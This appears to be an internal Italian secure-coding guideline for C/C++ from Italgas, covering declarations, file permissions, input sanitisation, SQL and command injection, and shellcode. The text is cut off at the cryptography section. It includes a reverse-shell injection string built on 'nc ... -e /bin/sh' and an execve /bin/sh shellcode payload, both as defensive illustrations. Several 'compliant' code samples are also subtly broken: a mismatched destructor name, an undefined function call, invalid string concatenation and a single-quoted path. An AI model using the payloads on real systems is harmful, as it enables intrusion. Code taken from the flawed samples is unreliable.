BLU-MAN-006-R01
Allegato 07-R00
Aggiornamento del 08/09/2026

C/C++

Italgas S.p.A - Informazioni Interne

INDICE

1 INTRODUZIONE AL DOCUMENTO 3
1.1 Contesto 3
1.2 Scopo 3
1.3 Struttura del Documento 3
2 DESIGN SICURO 5
2.1 Dichiarazioni ed Inizializzazioni 5
2.2 Espansione delle Macro 11
2.3 Dimensione di una struttura dati 12
3 ACCESS CONTROL & PRIVILEGE MANAGEMENT 14
3.1 Gestione dei file 14
4 VALIDAZIONE E SANITIZZAZIONE DEGLI INPUT 16
4.1 Validazione 16
4.2 Sanitizzazione 17
5 INJECTION 22
5.1 Command Injection 22
5.2 Shellcode 23
6 CRITTOGRAFIA 24
6.1 Algoritmi e Chiavi di Cifratura Robusti 24
7 LOGGING & MONITORING 28
7.1 Informazioni sensibili nei log 28
7.2 Mancata validazione o sanitizzazione dei log 29
7.3 Stato dell'arte 29
8 INFORMAZIONI CONFIDENZIALI 30
8.1 Credenziali Hardcoded 30
9 RACE CONDITIONS 31
9.1 Concorrenza 31
10 GESTIONE SICURA DELLA MEMORIA DI LAVORO 31
10.1 Inizializzazione della memoria 31
10.2 Value Overflow e Underflow 32
10.3 Buffer Overflow 33
10.4 Stack Overflow 33
10.5 Heap Overflow 35
10.6 Utilizzo dei puntatori 37
10.7 Format String 39
11 COMPILAZIONE 41
11.1 Tecniche di difesa 41
12 DENIAL OF SERVICE (DoS) 43
12.1 Saturazione delle risorse 43
12.1.1 Socket di rete 43
12.1.2 Files 46
12.1.3 Regex Denial of Service 47
13 Link utili 48
14 REFERENZE 50

1 INTRODUZIONE AL DOCUMENTO

1.1 Contesto

Questo documento è uno degli allegati al Manuale Operativo Sviluppo Sicuro e si colloca all'interno di un articolato sistema di linee guida volte a garantire la sicurezza nello sviluppo dei prodotti commissionati da Italgas. L'obiettivo è assicurare che tali prodotti siano solidi e resistenti alle minacce informatiche. È stato redatto un documento generale che affronta l'argomento in maniera trasversale senza entrare nei dettagli specifici di ciascuna tecnologia. Il presente documento, invece, approfondisce le stesse tematiche trattate nel documento generale, focalizzandosi e contestualizzandole sulla tecnologia C/C++.

1.2 Scopo

Questo documento ha lo scopo di illustrare gli aspetti di sicurezza informatica da tenere in considerazione quando si sviluppa del codice applicativo. La sicurezza del software è un requisito fondamentale per garantire la protezione delle informazioni, la privacy degli utenti e il corretto funzionamento dell'applicazione finale.
In questo documento, le tematiche affrontate si concentrano sulle possibili problematiche di sicurezza che affliggono le odierne applicazioni. Nello specifico, si fa riferimento alla tecnologia C/C++. Per ogni aspetto di sicurezza viene fornita una descrizione, degli esempi, le corrispettive contromisure e gli accorgimenti da adottare al fine di scongiurare la presenza di vulnerabilità o bug all'interno dell'applicazione finale. Per ogni tematica trattata, l'obiettivo è quello di fornire agli sviluppatori e agli architetti una lista di problematiche di sicurezza che possono emergere come conseguenza di una programmazione non orientata agli aspetti di sicurezza.

1.3 Struttura del Documento

Nel presente documento verranno trattate diverse tematiche riguardanti i linguaggi C/C++, partendo da un *livello di astrazione* più alto andando man mano scendendo verso aspetti più pratici e tecnici. Gli argomenti discussi riguardano prettamente i linguaggi e le loro peculiarità. Vengono sviluppati esempi per fornire un dettaglio di ogni vulnerabilità e delle relative remediation. Quando possibile, gli esempi sono applicabili a entrambe le tecnologie, considerando le dovute differenze. Tuttavia, quando richiesto, vengono descritti esempi specifici per ciascuna tecnologia, al fine di affrontarne le peculiarità. Pertanto, si rimanda al documento di linee guida generali per lo sviluppo sicuro che sviscera i problemi in maniera più astratta senza scendere nel dettaglio dei linguaggi.

Il primo aspetto fondamentale nell'ambito dello sviluppo software orientato alla sicurezza è quello del **Design Sicuro,** per il quale la sicurezza di un sistema è un aspetto che deve essere presente sin dalle fasi di progettazione e non può essere definita a posteriori. Questo approccio *proattivo* previene l'introduzione di vulnerabilità e riduce i costi e i tempi necessari per le correzioni post-sviluppo.

Viene successivamente proposto un capitolo relativo all'**Access Control**, presentando diversi scenari che pongono l'attenzione sull'importanza di attuare adeguati meccanismi di *controllo degli accessi* e sulle problematiche di sicurezza che può comportare una mancata o scorretta implementazione di questi.

Il concetto di Access Control viene quindi esteso da quello di **Privilege Management**. La *gestione dei privilegi* è un aspetto fortemente correlato a quello del *controllo degli accessi*: implementare una solida gestione dei privilegi significa ridurre il rischio di abusi e attacchi informatici, garantendo che solo gli utenti autorizzati possano eseguire operazioni sensibili.

Ulteriori aspetti fondamentali da tenere in considerazione nello sviluppo di software sicuro sono quelli trattati nel capitolo **Validazione e Sanitizzazione degli input**. In questo capitolo viene spiegata la necessità di attuare sempre adeguate misure di *validazione* e *sanitizzazione* sugli input provenienti da utenti e sistemi esterni, i quali sono da considerarsi non fidati.

Vengono poi logicamente trattate anche le problematiche, tramite esempi e scenari, che derivano da una mancata o scorretta validazione e sanitizzazione dei dati nel capitolo **Injection**. Queste non assumono una singola forma, bensì possono avere modalità e conseguenze molto differenti tra loro in base agli asset afflitti, all'ambiente esposto e ai privilegi con cui sono eseguite.

La crittografia è alla base di molte delle operazioni che un software si trova ad eseguire durante il suo ciclo di vita, permettendo di implementare comunicazioni sicure e proteggere i dati da accessi non autorizzati.
La **Gestione della Crittografia** costituisce un aspetto fondamentale da tenere in considerazione quando si valuta il livello di sicurezza di un software: l'utilizzo di tecniche crittografiche deprecate e non più sicure o una gestione impropria delle chiavi crittografiche possono vanificare le più robuste misure di sicurezza di un sistema.

Nel capitolo **Logging e Monitoraggio** viene spiegata l'importanza di attuare adeguati meccanismi di logging al fine di garantire un monitoraggio continuo che va attuato durante tutto il ciclo di vita di un software, permettendo di individuare tempestivamente problematiche di sicurezza, oltre che funzionali, e di risolverle tempestivamente.

Le **Informazioni Confidenziali**, il cui valore deve essere conosciuto solo e solamente dalle persone o programmi autorizzati, devono essere protette durante tutta la fase di vita del software. Questo include i dati in uso e a riposo, oltre che quando in transito. È per questo motivo che non è sufficiente scrivere il segreto direttamente nei file sorgente o utilizzare algoritmi di cifratura robustissimi solo in alcuni passaggi, in quanto è necessario che le informazioni confidenziali restino tali sempre.

Viene poi speso un capitolo dedicato alle **Race conditions**, che altro non sono se non errori (bug) di programmazione in un programma che sfrutta un paradigma concorrenziale o asincrono. Si verificano infatti quando più processi o Threads accedono simultaneamente allo stesso dato o istruzione in memoria. Questo, se non correttamente gestito, genera comportamenti imprevisti ed inconsistenza.

Essendo C e C++ linguaggi che operano a basso livello, privi delle proprietà di Memory Safety e Type Safety presenti invece in altri linguaggi, lo sviluppatore deve essere conscio che è necessaria una corretta **Gestione sicura della memoria di lavoro** per prevenire una vasta e variegata serie di attacchi. Vengono quindi trattate nel dettaglio alcune problematiche comuni, così che si possa procedere alla creazione di un prodotto *Secure by Design* fin dalle prime fasi di sviluppo.

Un ruolo molto importante è ricoperto dalla fase di **Compilazione**, per la quale è possibile definire alcune caratteristiche di sicurezza che il progetto eseguibile deve integrare. Queste principalmente vanno a contrastare exploit tramite buffer overflow e vulnerabilità varie riguardanti la memoria.

Infine, per quanto concerne l'**Utilizzo di Codice di Terze Parti,** si rimanda al documento di linee guida generali per lo sviluppo sicuro, essendo le best practice in materia valide trasversalmente a tutte le tecnologie.

2 DESIGN SICURO

Questo capitolo vuole coprire i principali aspetti e costrutti sensibili da un punto di vista della sicurezza. Tra questi troviamo la dichiarazione ed inizializzazione sicura di librerie, macro, funzioni, strutture dati e variabili.

La loro sicurezza consiste nel ridurre al minimo la superficie d'attacco, limitando al minimo indispensabile e solo dove necessario la raggiungibilità del codice. Per approfondirne le criticità, si rimanda l'attenzione ai link forniti in coda a tutto.

2.1 Dichiarazioni ed Inizializzazioni

Nella fase di dichiarazione di una variabile, funzione, macro o libreria, è importante tenere in considerazione le raccomandazioni riportate di seguito:

- Non utilizzare identificativi riservati, specificati negli standard "ISO/IEC 9899:2011 - Programming Languages - C" e "ISO/IEC 14882-2014 – Programming Languages – C++". L'utilizzo di identificativi riservati può portare a comportamenti imprevisti non gestiti dal programma.
- Non utilizzare un identificativo prima che questo sia dichiarato.
- Utilizzare costanti simboliche definite con la direttiva *#define* (costanti globali) o dichiarate come *const* (costanti locali) per la dimensione nella dichiarazione di array statici.
- Non utilizzare contatori in cicli loop dichiarati come *float* o *double*.
- Non creare molteplici dichiarazioni incompatibili della stessa funzione o oggetto all'interno dello stesso codice.
- Non dichiarare variabili all'interno di uno switch prima del primo "case". Una variabile dichiarata in questa maniera avrà uno scope all'interno dello switch ma non verrà inizializzata, contenendo di conseguenza un valore indeterminato.
- Buffer ed i campi di strutture dati andrebbero avvalorati, eventualmente con valori di default o azzerati, prima del loro utilizzo.
- In C++, l'introduzione di nuove dichiarazioni nel *namespace* ***std*** può portare a comportamenti imprevisti non gestiti dal programma in particolari circostanze.
- In C++ è sconsigliato l'utilizzo di funzioni *variadiche*, ossia funzioni che accettano un numero di parametri variabile, specificati mediante "…" (punti di sospensione), in quanto non vi è modo di verificarne la *type safety* (*sicurezza rispetto ai tipi*). L'utilizzo di queste funzioni può portare a comportamenti imprevisti non gestiti dal programma o, nello scenario peggiore, all'esecuzione di codice arbitrario.
- In C++, ogni classe virtuale deve sempre includere un distruttore virtuale.

Seguono diversi esempi di codice che non rispettano le precedenti linee guida.

Utilizzo di un identificativo prima che sia dichiarato - Noncompliant:

```
…
printf("%d\n", i);
…
int i = 10;
…
```

Utilizzo di un identificativo prima che sia dichiarato - Compliant:

```
…
int i = 10;
…
printf("%d\n", i);
…
```

Dichiarazione di un array statico – Noncompliant:

```
…
int arr[50];
…
```

Dichiarazione di un array statico – Compliant:

```
…
#define ARR_SIZE 50 // Costante globale
…
// oppure
const int arr_size = 50;  // Costante locale
…
int arr[ARR_SIZE];
// oppure
int arr[arr_size];
…
```

Utilizzo di contatori in cicli loop dichiarati come float o double – Noncompliant:

```
// Utilizzo di contatori in cicli loop dichiarati come float o double - Noncompliant
…
 for (float x = 0.1f; x <= 1.0f; x += 0.1f) {
    // dipendentemente dal compilatore e dal processore, questo loop potrebbe iterare 9 o 10 volte
}
…
```

Utilizzo di contatori in cicli loop dichiarati come float o double - Compliant:

```
…
 for (int  x = 1; x <= 10; x += 1) {
    …
}
…
```

Variabile con molteplici definizioni – Noncompliant:

```
// nel file a.c
extern int i;
…
// nel file b.c
short i;   //
short i;   // Dichiarazione incompatibile
…
```

Variabile con molteplici definizioni – Compliant:

```
…
// nel file a.c
extern int i;
 …

// nel file b.c
int i;
…
```

Variabile inizializzata all'interno di uno switch - Noncompliant:

```
…
  switch (expr) {
    int i = 5;
  case 0:
    i = 10;
  default:
    printf("%d\n", i); // se l'esecuzione ricade in questo case, la variabile i avrà un valore intero casuale
  }
}
…
```

Variabile inizializzata all'interno di uno switch - Compliant:

```
…
  int i = 5;
  switch (expr) {
  case 0:
    i = 10;
  default:
    printf("%d\n", i);
  }
}
…
```

Inizializzazione di buffer e strutture dati – Noncompliant:

```
…
// Definizione di una struttura dati
typedef struct {
    char *nome;
    int eta;
    float stipendio;
} Dipendente;

int main() {
    Dipendente dipendente1;

    // Stampa dei valori non inizializzati - comportamento indefinito
    printf("Dipendente1: %s, %d, %.2f\n", dipendente1.nome, dipendente1.eta, dipendente1.stipendio);

    return 0;
}
…
```

Inizializzazione di buffer e strutture dati – Compliant:

Italgas S.p.A - Informazioni Interne

```
…
// Definizione di una struttura dati
typedef struct {
    char nome[50];
    int eta;
    float stipendio;
} Dipendente;

int main() {
    // Inizializzazione di una variabile di tipo Dipendente con valori di default
    Dipendente dipendente1 = {"NomeDefault", 0, 0.0f};

    // Inizializzazione di un array di strutture con valori di default usando memset
    Dipendente dipendenti[10];
    memset(dipendenti, 0, sizeof(dipendenti));

    // Stampa dei valori inizializzati
    printf("Dipendente1: %s, %d, %.2f\n", dipendente1.nome, dipendente1.eta, dipendente1.stipendio);
    for(int i = 0; i < 10; i++) {
        printf("Dipendente%d: %s, %d, %.2f\n", i+1, dipendenti[i].nome, dipendenti[i].eta, dipendenti[i].stipendio);
    }

    return 0;
}
```

Dichiarazioni all'interno di un namespace – Noncompliant (C++):

```
…
namespace std { // Non utilizzare il name space "standard" (std)
    int x;
}
…
```

Dichiarazioni all'interno di un namespace – Compliant (C++):

```
…
namespace nonstd {
    int x;
}
…
```

Dichiarazioni di funzioni con numero di parametri variabili – Noncompliant (C++):

```
…
int foo(int first, int second, ...) {
…
}
…
```

Dichiarazioni di funzioni con numero di parametri variabili – Compliant (C++):

```
…

// La seguente funzione utilizza la Recursive Pack Expansion
template<typename... Args>
void Funzione1(Args... args) {
    (..., (std::cout << args << '\n'));
}

// La seguente funzione utilizza la Braced Initializer List Expansion
template<typename T, typename... Args>
void Funzione2(T&& valore, Args&&... args) {
    std::vector<T> v{valore, std::forward<Args>(args)...};
}

int main() {
  Funzione(1, "Ciao", 3.14, 'a'); // Stampa ogni argomento su una nuova linea

  Funzione2 (10, 20, 30, 40, 50); // Crea un vector con i valori specificati
}
…
```

Dichiarazione di classi virtuali – Noncompliant (C++):

```
…
class ClasseVirtuale {
    // Nessun distruttore virtuale dichiarato
    virtual void metodoVirtuale() = 0;
    …
};
…
```

Dichiarazione di classi virtuali – Compliant (C++):

```
…
class ClasseVirtuale {
public:
    virtual ~Base() {
        // Codice di pulizia, se necessario
        std::cout << "Distruttore della classe Base chiamato" << std::endl;
    }

    virtual void metodoVirtuale() = 0;
    …
};
…
```

Per maggiori dettagli ed ulteriori indicazioni fare riferimento al SEI Cert C Coding Standard (C) ed al SEI CERT C++ Coding Standard (C++).

2.2 Espansione delle Macro

Le **macro** in C/C++ sono direttive del preprocessore che permettono di definire dei frammenti di codice o costanti simboliche che possono essere riutilizzate all'interno del programma. Queste sono definite tramite la direttiva *#define* e vengono elaborate dal preprocessore prima della compilazione effettiva del codice.

Una macro può essere "espansa": espandere una macro significa sostituire ogni occorrenza del nome della macro nel codice con il suo corpo definito. Questo processo è gestito dal preprocessore prima della compilazione del programma.

Ad esempio, se definiamo una macro come *#define PI 3.14*, ogni volta che il preprocessore incontra *PI* nel codice, lo sostituirà con "3.14". Quando le macro sono espanse, eventuali parametri passati non devono causare effetti collaterali (*side-effect*) che possono portare a comportamenti imprevisti non gestiti dal programma.

Si consideri il seguente codice:

```
#define min(X, Y)  ((X) < (Y) ? (X) : (Y))
…
min (x + y, foo (z));
```

L'espansione della macro *min* risulterà nella seguente:

```
((x + y) < (foo (z)) ? (x + y) : (foo (z)));
```

Dove:

- *X* è sostituito con *(x + y)*
- *Y* è sostituito con *foo(z)*

Questo implica che la funzione *foo* verrà eseguita due volte (*side-effect*) anche se nel programma originale (prima dell'espansione) l'esecuzione era prevista una sola volta.

Una versione sicura del precedente codice che utilizza la macro *min* è il seguente:

```
#define min(X, Y)  ((X) < (Y) ? (X) : (Y))
…
int operando1 = x + y;
int operando2 = foo(z);
min (operando1, operando2);
```

2.3 Dimensione di una struttura dati

Passare la dimensione di una struttura dati a una funzione in modo errato può portare a diversi problemi. Senza l'uso corretto della funzione *sizeof()*, si potrebbe causare un comportamento indefinito del programma, poiché la funzione potrebbe non ricevere le informazioni corrette sulla dimensione della memoria da gestire. Questo può portare a errori di segmentazione, sovrascrittura o perdite di memoria, compromettendo la stabilità e la sicurezza del software.
Inoltre, una gestione impropria della memoria può rendere il codice meno portabile e più difficile da mantenere, dato che differenti architetture hardware possono avere rappresentazioni diverse delle dimensioni dei tipi di dati.

È quindi fondamentale utilizzare la funzione *sizeof()* per garantire che la quantità di memoria allocata e gestita sia sempre accurata e appropriata al tipo di dati in uso.

Nel seguente esempio, la funzione *processAccount* si aspetta che il secondo parametro sia la dimensione della struttura *Account*. Nel codice viene passato un valore letterale "10", che potrebbe non corrispondere alla dimensione effettiva della struttura *Account*.

```
…
typedef struct {
    int id;
    double balance;
} Account;

void processAccount(Account *acc, int size) {
    // Supponiamo che questa funzione faccia qualcosa con l'account
}

int main() {
    Account myAccount;
    // Erroneamente, si passa un valore letterale come dimensione
    processAccount(&myAccount, 10);
    return 0;
}
…
```

Il precedente codice viene riscritto utilizzando correttamente la funzione *sizeof()* come segue:

```
…
typedef struct {
    int id;
    double balance;
} Account;

void processAccount(Account *acc, int size) {
    // Supponiamo che questa funzione faccia qualcosa con l'account
}

int main() {
    Account myAccount;
    processAccount(&myAccount, sizeof(Account));
    return 0;
}
…
```

Un errore comune è quello di utilizzare *strlen()* per determinare la dimensione di una struttura dati; questa funzione deve essere utilizzata solo per calcolare la lunghezza di una stringa (escluso il terminatore \0) e non per determinare la dimensione di una struttura dati.

Inoltre, poiché *sizeof()* restituisce la dimensione in byte dell'oggetto o del tipo di dati passato come parametro, quando si passa un puntatore come parametro, non si ottiene la dimensione dell'oggetto a cui punta, ma la dimensione del puntatore stesso, che è indipendente dal tipo di dati a cui punta.

Per ottenere la dimensione dell'oggetto, è necessario **dereferenziare** il puntatore. Ad esempio, se *ptr* è un puntatore a un oggetto di tipo *Account*, allora *sizeof(*ptr)* restituirà la dimensione dell'oggetto di tipo *Account*, mentre *sizeof(p)* restituirà la dimensione del puntatore.

Italgas S.p.A - Informazioni Interne

3 ACCESS CONTROL & PRIVILEGE MANAGEMENT

Il controllo degli accessi è un elemento fondamentale della sicurezza informatica, che determina chi può accedere a determinati dati, applicazioni e risorse e in quali circostanze. Questo processo si basa su tecniche di autenticazione e autorizzazione, oltre che la corretta configurazione dei sistemi, per verificare l'identità degli utenti e assegnare loro i permessi appropriati.

3.1 Gestione dei file

In C è possibile creare, aprire, leggere e scrivere dei contenuti testuali sui file tramite una variabile di tipo **FILE*** e la funzione fopen(), disponibile nella libreria stdio.h dello standard C.

In accordo con la documentazione ufficiale, il cui link è riportato in coda al capitolo, fopen() accetta due parametri:

- pathname, una stringa contenente la path del file
- mode, che specifica la modalità con cui il file viene aperto

L'apertura del file richiede particolare attenzione alla modalità (e quindi ai permessi) sulla risorsa.
Un file aperto in sola lettura evita che il contenuto venga malevolmente o anche solo erroneamente alterato.
Un file aperto in append mode evita che il contenuto esistente venga alterato, permettendo l'aggiunta in coda di nuovi dati.

Nel caso in cui il file non esista, se la modalità di apertura lo permette, verrà creato un nuovo file con i permessi di default definiti dal valore di maschera umask. Questi potrebbero non essere allineati con le esigenze di sicurezza del progetto, in quanto troppo laschi o troppo ristretti.

Viene proposto un esempio insicuro:

```
#include <stdio.h>
#include <stdlib.h>

int main()
{
    FILE *fptr;
    fptr = fopen("path/to/newfile.py", "w");
    /* . . . */
    fclose(fptr);

    return 0;
}
```

Il file appena creato dispone dei permessi 0666, equivalente di -rw-rw-rw- in ambiente Linux, che comporta la possibilità da parte di tutti gli utenti del sistema di leggere e scrivere la risorsa appena creata.

Alternativamente, tramite la funzione POSIX open(), è possibile definire direttamente i permessi con cui la risorsa è creata, come riportato:

```
#include <stdio.h>
#include <stdlib.h>

int main()
{
    /* . . . */
    open('path/to/file.txt', O_WRONLY|O_CREAT, 0640);
    /* . . . */
    return 0;
}
```

Il file path/to/file.txt è creato con i permessi 0640, equivalente di -rw-r----- in ambiente Linux, che comporta:

- la possibilità da parte dell'owner della risorsa di leggere e scrivere la risorsa appena creata
- la possibilità da parte delle utenze del gruppo di appartenenza dell'owner di leggerne il contenuto.

Vengono forniti i link alla documentazione di tutte le componenti finora citate.

4 VALIDAZIONE E SANITIZZAZIONE DEGLI INPUT

La validazione e la sanitizzazione degli input sono processi fondamentali nella sicurezza informatica e nello sviluppo software. La validazione consiste nel verificare che i dati inseriti dagli utenti rispettino determinati criteri predefiniti, come formato, lunghezza e tipo di dato. Questo aiuta a prevenire errori e comportamenti imprevisti nel sistema. La sanitizzazione, invece, si occupa di pulire e modificare gli input per rimuovere o neutralizzare contenuti potenzialmente dannosi, come script malevoli o caratteri speciali, proteggendo così il sistema da attacchi come l'injection di codice. Entrambi i processi sono essenziali per garantire l'integrità e la sicurezza delle applicazioni.

4.1 Validazione

La validazione, infatti, riguarda la verifica che i dati inseriti dall'utente rispettino determinate regole o criteri. Essendo C un linguaggio fortemente tipizzato, quando si recuperano dati dall'utente la funzione scanf() richiede di specificare il formato con cui si aspetta di leggere l'input. Si utilizza come mostrato di seguito:

```
#include <stdio.h>
#include <stdlib.h>

int main()
{
    int myNum;
    int myNum2;

    printf("Inserisci due numeri separati da uno spazio: ");
    scanf("%d %d", &myNum, &myNum2);
    printf("Primo numero: %d\n", myNum);
    printf("Secondo numero: %d", myNum2);

    return 0;
}
```

Quando si lavora con le stringhe, la funzione scanf() interpreta lo spazio come un carattere terminatore.
Viene qui mostrato un esempio di lettura errata, nel quale la stringa inserita "Mario Rossi" viene troncata a "Mario":

```
#include <stdio.h>

int main() {
    char whois[30];

    printf("Inserisci il tuo nome e cognome: \n");
    scanf("%s", whois);
    printf("Ciao %s", whois);

    return 0;
}
```

Per leggere più parole testuali con una singola istruzione bisogna usare fgets(), come nell'esempio corretto qui sotto riportato:

```
#include <stdio.h>

int main() {
    char whois[30];

    printf("Inserisci il tuo nome e cognome: \n");
    fgets(whois, sizeof(whois), stdin);
    printf("Ciao %s", whois);

    return 0;
}
```

Validazioni più complesse possono richiedere l'utilizzo delle funzioni:

- Strspn() e Strcspn() per ottenere la lunghezza di una sottostringa del prefisso
- Strpbrk() che cerca una stringa per uno qualsiasi di un insieme di byte

Si consideri anche l'utilizzo delle regex, implementabili tramite la libreria regex.h.

Le rispettive documentazioni sono riportate in coda al capitolo.

4.2 Sanitizzazione

La sanitizzazione degli input in C e C++ è un aspetto fondamentale della programmazione sicura. Questo processo prevede la pulizia dei dati inseriti dagli utenti, specialmente quando questi dati vengono utilizzati in contesti critici come le query al database o le manipolazioni di file.

Per garantire che l'input sia nel formato corretto e privo di dati pericolosi che potrebbero causare problemi di sicurezza, si utilizzano spesso librerie di sanitizzazione. Ad esempio, **Libinjection** è una libreria C/C++ che rileva SQL Injection e Cross-site scripting attraverso l'analisi lessicale.

Un altro approccio comune, sebbene scoraggiato rispetto all'utilizzo di librerie consolidate, è l'uso di funzioni di sanitizzazioni personalizzate, in cui gli input vengono controllati e i caratteri non validi sostituiti o rimossi.

Librerie per connessioni al database, come ad esempio la libreria MySQL, mettono a disposizione un meccanismo di sanitizzazione delle query basato su prepared statement, prevenendo attacchi di SQL Injection.

In C++, si può utilizzare la classe *sql::PreparedStatement* disponibile nel Connector/C++ di MySQL. In C, si possono integrare i prepared statement attraverso la funzione *mysql_stmt_prepare* di MySQL, oltre che la libreria ODBC, dove si prepara la query e si associano i parametri prima dell'esecuzione.

Segue un esempio di codice vulnerabile a SQL injection:

```
…
int main() {
    char query[256];
    char user_input[256];

    printf("Inserisci il tuo username: ");
    gets(user_input); // Nota: Funzione pericolosa, non verifica la lunghezza dell'input

    // Costruzione della query SQL senza sanitizzazione dell'input dell'utente
    sprintf(query, "SELECT * FROM users WHERE username = '%s'", user_input);

    // Esegui la query
    …
    return 0;
}
…
```

Un esempio di codice C che utilizza i prepared statement è il seguente:

```
…
#include <mysql.h>
#include <stdio.h>
#include <string.h>

int main() {
    MYSQL *conn;
    MYSQL_STMT *stmt;
    MYSQL_BIND bind[2];
    my_ulonglong affected_rows;
    int param_count;
    short small_data;
    char str_data[100];
    unsigned long str_length;
    my_bool is_null;

    // Inizializzazione della connessione
    conn = mysql_init(NULL);

    // Connessione al database
    if (mysql_real_connect(conn, "host", "user", "password", "database", 0, NULL, 0) == NULL) {
        fprintf(stderr, "Errore di connessione: %s\n", mysql_error(conn));
        mysql_close(conn);
        return 1;
    }

    // Preparazione dello statement
    stmt = mysql_stmt_init(conn);
    if (!stmt) {
        fprintf(stderr, "Errore di inizializzazione dello statement: %s\n", mysql_error(conn));
        mysql_close(conn);
        return 1;
    }

    // Definizione della query con i placeholder per i parametri
    if (mysql_stmt_prepare(stmt, "INSERT INTO test_table(col1, col2) VALUES(?, ?)", strlen("INSERT INTO
test_table(col1, col2) VALUES(?, ?)"))) {
        fprintf(stderr, "Errore di preparazione dello statement: %s\n", mysql_stmt_error(stmt));
        mysql_stmt_close(stmt);
        mysql_close(conn);
        return 1;
    }

    // Legatura dei parametri
    memset(bind, 0, sizeof(bind));
    …
```

```
...
// Colonna 1 - SHORT INT
bind[0].buffer_type = MYSQL_TYPE_SHORT;
bind[0].buffer = (char *)&small_data;
bind[0].is_null = 0;
bind[0].length = 0;

// Colonna 2 - STRING
bind[1].buffer_type = MYSQL_TYPE_STRING;
bind[1].buffer = str_data;
bind[1].buffer_length = sizeof(str_data);
bind[1].is_null = &is_null;
bind[1].length = &str_length;

// Associazione dei parametri allo statement
if (mysql_stmt_bind_param(stmt, bind)) {
    fprintf(stderr, "Errore di legatura dei parametri: %s\n", mysql_stmt_error(stmt));
    mysql_stmt_close(stmt);
    mysql_close(conn);
    return 1;
}

// Impostazione dei valori dei parametri e esecuzione dello statement
small_data = 1000; // Valore per col1
strncpy(str_data, "test", sizeof(str_data));
str_length = strlen(str_data);
is_null = 0; // false

if (mysql_stmt_execute(stmt)) {
    fprintf(stderr, "Errore di esecuzione dello statement: %s\n", mysql_stmt_error(stmt));
    mysql_stmt_close(stmt);
    mysql_close(conn);
    return 1;
}

// Pulizia
mysql_stmt_close(stmt);
mysql_close(conn);

printf("Statement eseguito con successo.\n");
return 0;
}
...
```

Un analogo esempio di codice C++ che utilizza i prepared statement è il seguente:

```
…
#include <mysql_driver.h>
#include <mysql_connection.h>
#include <cppconn/prepared_statement.h>
#include <cppconn/resultset.h>
#include <cppconn/statement.h>

int main() {
    sql::mysql::MySQL_Driver *driver;
    sql::Connection *con;
    sql::PreparedStatement *pstmt;

    // Connessione al database
    driver = sql::mysql::get_mysql_driver_instance();
    con = driver->connect("tcp://127.0.0.1:3306", "user", "password");

    // Preparazione dello statement
    pstmt = con->prepareStatement("INSERT INTO Tabella (Colonna1, Colonna2) VALUES (?, ?)");

    // Impostazione dei parametri
    pstmt->setInt(1, 123);
    pstmt->setString(2, "Testo per Colonna2");

    // Esecuzione dello statement
    pstmt->execute();

    // Pulizia
    delete pstmt;
    delete con;

    return 0;
}
…
```

5 INJECTION

L'injection è una delle vulnerabilità più comuni e pericolose in ambito di sicurezza informatica. Si verifica quando un attaccante riesce ad iniettare payload maligni in un sistema attraverso input non adeguatamente filtrati, come moduli web o query di database. Questo può portare a gravi conseguenze, come l'accesso non autorizzato a dati sensibili, la compromissione del sistema o l'esecuzione di codice arbitrario. Prevenire le injection richiede una corretta validazione e sanificazione degli input, oltre all'uso di pratiche di codifica sicura.

5.1 Command Injection

Obiettivo degli attaccanti è ottenere l'accesso alla macchina per potervici eseguire comandi arbitrari. Una strada percorribile per raggiungere lo scopo è sfruttare l'esecuzione di stringhe non sanitizzate all'interno delle chiamate alle seguenti funzioni:

- system()
- execl()
- execle()
- execlp()
- execv()
- execve()
- execvp()
- fexecve()

Dato che queste funzioni permettono di eseguire i comandi passati come parametri, una stringa non sanitizzata correttamente potrebbe permettere ad un attaccante di specificare direttamente quale comando eseguire.

Viene proposto un esempio vulnerabile:

```
#include <stdio.h>
#include <stdlib.h>

int main()
{
    char dir[50];

    printf("Fornisci il nome della cartella da creare: ");
    fgets(dir, sizeof(dir), stdin);
    system("mkdir " + dir);              // Vulnerabile

   return 0;
}
```

Se la stringa fornita fosse "a; nc {IP} {PORT} -e /bin/sh" l'attaccante sarebbe così in grado di eseguire una reverse shell ed ottenere l'accesso remoto alla macchina vittima.

Solitamente non è necessario utilizzare le funzioni sopra elencate esistendo alternative più sicure. In questo caso, la funzione mkdir() risponde alle esigenze dell'applicativo e ne viene riportato un esempio sicuro:

```
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>

int main()
{
    struct stat st = {0};
    char dir[50];

    printf("Fornisci il nome della cartella da creare: ");
    fgets(dir, sizeof(dir), stdin);

    if (stat(dir, &st) == -1) {
        mkdir(dir, 0700);
    }

    return 0;
}
```

5.2 Shellcode

Lo shellcode è un piccolo programma che consiste in una serie di istruzioni macchina (assembly), comunemente usato dagli attaccanti durante l'exploit di vulnerabilità di sicurezza, ed è così chiamato in quanto generalmente esegue una shell da cui l'attaccante ottiene accesso al sistema.

Uno payload d'esempio contente uno shellcode è il seguente:

```
\x6a\x42\x58\xfe\xc4\x48\x99\x52\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5e\x49\x89\xd0\x49\x89\xd2\x0f\x05
```

Il precedente payload contiene le seguenti istruzioni assembly:

Italgas S.p.A - Informazioni Interne

```
6a 42              push   0x42
58                 pop    rax
fe c4              inc    ah
48 99              cqo
52                 push   rdx
48 bf 2f 62 69 6e 2f    movabs rdi, 0x68732f2f6e69622f
2f 73 68
57                 push   rdi
54                 push   rsp
5e                 pop    rsi
49 89 d0           mov    r8, rdx
49 89 d2           mov    r10, rdx
0f 05              syscall
```

Gli shellcode sono generalmente utilizzati negli attacchi di Buffer Overflow. Pertanto, si rimanda al paragrafo dedicato per prendere visione delle contromisure.

6 CRITTOGRAFIA

Nel contesto dello sviluppo software, l'adozione di pratiche scorrette di crittografia può compromettere gravemente la sicurezza delle applicazioni.
Gli algoritmi crittografici servono a diversi scopi, tra cui la cifratura e la decifratura dei dati, la firma di questi per verificarne l'integrità o che provengano da una fonte attendibile, la confidenzialità di una comunicazione ed il non ripudio.

I moderni algoritmi crittografici si basano interamente sulla segretezza delle loro chiavi per la sicurezza; gli algoritmi stessi sono ben noti e studiati con attenzione. Questo principio è noto comunemente come il **Principio di Kerckhoffs**.

In C/C++ esistono diverse librerie per implementare meccanismi crittografici come *CryptoPP*, *OpenSSL* e *Botan*.

6.1 Algoritmi e Chiavi di Cifratura Robusti

